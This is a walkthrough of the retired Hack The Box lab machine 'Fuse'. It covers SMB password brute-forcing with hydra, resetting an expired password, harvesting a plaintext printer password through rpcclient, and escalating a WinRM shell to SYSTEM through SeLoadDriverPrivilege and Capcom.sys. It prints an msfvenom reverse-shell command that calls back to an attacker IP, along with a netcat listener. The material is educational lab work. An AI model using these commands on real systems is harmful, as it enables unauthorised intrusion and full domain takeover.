Hack the Box Write-up #8: Fuse

33 minute read

I finally found some time again to write a walk-through of a Hack The Box machine. In this post we’ll hack into Fuse, a Medium machine which just got retired and included some password guessing, discovery of stored plaintext credentials and eventually a SeLoadDriverPrivilege escalation.

Recon and Enumeration

To get a first overview of the box, we’ll start with a nmap -sC -sV 10.10.10.193.

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus 
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-30 22:31:39Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Looking at the ports and enumeration output, we can tell we’re dealing with a domain controller.

Since we also see port 80 open, let’s first have a quick look at the site at http://10.10.10.193.

It forwards us to http://fuse.fabricorp.local/papercut/logs/html/index.htm, which we can browse normally after adding fuse.fabricorp.local and fabricorp.local to /etc/hosts (you would only need to add fuse.fabricorp.local, but it could be helpful to also have the root domain in it for later parts):

Papercut site

The print logging system lets us access reports for past print jobs and through that also makes it possible to collect some user/machine names and document titles with potential hints:

Users, machines and documents

We learn about the following users:

  • pmerton - JUMP01 - Works in HR?
  • tlavel - LONWK015 - Works in IT?
  • sthompson - LONWK019 - Works in Purchasing?
  • bhult - LAPTOP07
  • administrator - FUSE - Troubleshooting some printing issues?
  • bnielson – New in the company? Maybe a weak default password?

Looking at the other ports, we can’t enumerate too much more as we don’t have valid credentials yet (no LDAP, SMB/RPC enum).

Brute-forcing our way to first credentials

We’ll take a chance and create a small wordlist of passwords containing the company name and try it against the discovered accounts via SMB:

users.txt

bnielson
sthompson
tlavel
pmerton
bhult

passwords.txt

$ echo Fabricorp > seed
$ hashcat -r best64.rule --stdout seed > passwords.txt
Fabricorp
procirbaF
FABRICORP
fabricorp
Fabricorp0
Fabricorp1
Fabricorp2
Fabricorp3
Fabricorp4
Fabricorp5
Fabricorp6
Fabricorp7
Fabricorp8
Fabricorp9
Fabricorp00
Fabricorp01
Fabricorp02
Fabricorp11
[...]

Using hydra for brute-forcing, we quickly get the following results:

$ hydra -L users.txt -P passwords.txt smb://10.10.10.193
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-30 23:47:54
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 60 login tries (l:5/p:12), ~60 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] Host: 10.10.10.193 Account: bnielson Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193   login: bnielson   password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: tlavel Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193   login: tlavel   password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: bhult Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193   login: bhult   password: Fabricorp01

So Fabricorp01 seems to be an expired default password for a couple of accounts. We should be able to reset the password and set our own. Let’s choose tlavel as our target, since it looks like he’s working in IT:

$ smbpasswd -U tlavel -r 10.10.10.193
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on 10.10.10.193.

The password change worked and we can authenticate via SMB.

$ smbmap -H 10.10.10.193 -u tlavel -p 'chosenpassword'
[+] IP: 10.10.10.193:445        Name: fabricorp.local
        Disk                  Permissions     Comment
        ----                  -----------     -------
        ADMIN$                NO ACCESS       Remote Admin
        C$                    NO ACCESS       Default share
        HP-MFT01              NO ACCESS       HP-MFT01
        IPC$                  READ ONLY       Remote IPC
        NETLOGON              READ ONLY       Logon server share
        print$                READ ONLY       Printer Drivers
        SYSVOL                READ ONLY       Logon server share

More Enumeration, Finding Plaintext Credentials

Our credentials don’t give us too much in terms of file access – we can mount print$ with mkdir /mnt/print; mount -t cifs -o 'user=tlavel,password=chosenpassword,rw,vers=1.0' //10.10.10.193/print$ /mnt/print, but nothing looks helpful in here.

Let’s see if we can enumerate more users, groups, maybe printers… :-). A good tool to do this kind of enumeration is rpcclient, which will do all the SAMR/SPOOL RPC calls for you:

$ rpcclient -U tlavel 10.10.10.193
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]

rpcclient $> enumprinters
        flags:[0x800000]
        name:[\\10.10.10.193\HP-MFT01]
        description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
        comment:[]

The printer description field looks juicy and might fit the svc-scan or svc-print account discovered in the earlier call.

Looking at the groups again, let’s dig into IT_Accounts as it stands out:

rpcclient $> querygroup 0x644
        Group Name:     IT_Accounts
        Description:
        Group Attribute:7
        Num Members:2
rpcclient $> querygroupmem 0x644
        rid:[0x450] attr:[0x7]
        rid:[0x641] attr:[0x7]
rpcclient $> queryuser 0x450
        User Name   :   svc-print
        [...]

svc-print is part of IT_Accounts, svc-scan is just in Domain Users – so let’s try svc-print first. This time we’re using crackmapexec to check:

$ cme smb 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         10.10.10.193    445    FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1

Do we also have access via WinRM?

cme winrm 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

WINRM       10.10.10.193    5985   FUSE             [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM       10.10.10.193    5985   FUSE             [*] http://10.10.10.193:5985/wsman
WINRM       10.10.10.193    5985   FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)

This looks good. We can get our first shell via WinRM.

Privilege Escalation from svc-print using SeLoadDriverPrivilege

To get a PowerShell shell, we can use evil-winrm:

evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

The first thing we run with our low-priv user is a whoami /all to check what we are allowed to do.

*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami /all

USER INFORMATION
----------------

User Name           SID
=================== ==============================================
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104


GROUP INFORMATION
-----------------
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts                      Group            S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeLoadDriverPrivilege         Load and unload device drivers Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

[...]

Not only are we a member of Remote Management Users (we knew that), but also of Print Operators. This gives us the SeLoadDriverPrivilege which allows to load device drivers – and potentially opens up a path to elevate our privileges to SYSTEM by abusing a vulnerable driver’s functionality in combination with a registry entry we can control (HKCU) and pass to the LoadDriver API.

Have a look at the blog post Abusing SeLoadDriverPrivilege for privilege escalation for a good overview of the mechanics of this attack.

Just like in the article, we can use the EoPLoadDriver proof-of-concept tool and the signed Capcom.sys driver together with the public ExploitCapcom exploit from GitHub.

First, we switch over to a Windows system, clone the EiPLoadDriver repository and compile EoPLoadDriver.cpp. Next, we clone the ExploitCapcom repo (it already comes with a Visual Studio solution file), but make a slight adjustment before compiling.

In the LaunchShell function we “quick and dirty” call our own reverse shell, instead of cmd.exe:

static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\revshell.exe");
    [...]

We can now build the app and move on to creating a small reverse shell with msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=80 -f exe -o revshell.exe

The only thing that is left is the Capcom.sys driver. I found a copy matching the checksum on GitHub in the Capcom-Rootkit repository.

With the four files at hand, we are ready to drop some binaries on the target.

I’m using the upload functionality inside evil-winrm:

upload EopLoadDriver.exe
upload Capcom.sys
upload ExploitCapcom.exe
upload revshell.exe

Next, we prepare the netcat listener on our machine:

nc -lvnp 80

And then run the exploit:

*Evil-WinRM* PS C:\Windows\Temp> .\EopLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0

*Evil-WinRM* PS C:\Windows\Temp> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000018A080A0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

And we get our SYSTEM shell back:

$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.193.
Ncat: Connection from 10.10.10.193:49747.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\Temp>whoami
whoami
nt authority\system

I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to reach out. I’m always happy to learn new things. You can also check out the other write-ups.

Like to comment? Feel free to send me an email or reach out on Twitter.

Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.